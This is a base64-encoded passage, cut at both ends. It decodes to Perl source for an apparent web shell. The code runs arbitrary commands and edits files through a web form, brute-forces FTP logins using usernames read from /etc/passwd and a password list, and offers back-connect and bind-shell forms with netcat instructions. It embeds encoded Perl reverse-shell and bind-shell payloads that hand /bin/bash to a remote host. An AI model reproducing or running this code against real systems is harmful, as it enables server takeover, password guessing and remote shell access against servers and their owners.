tIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1lIG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDAp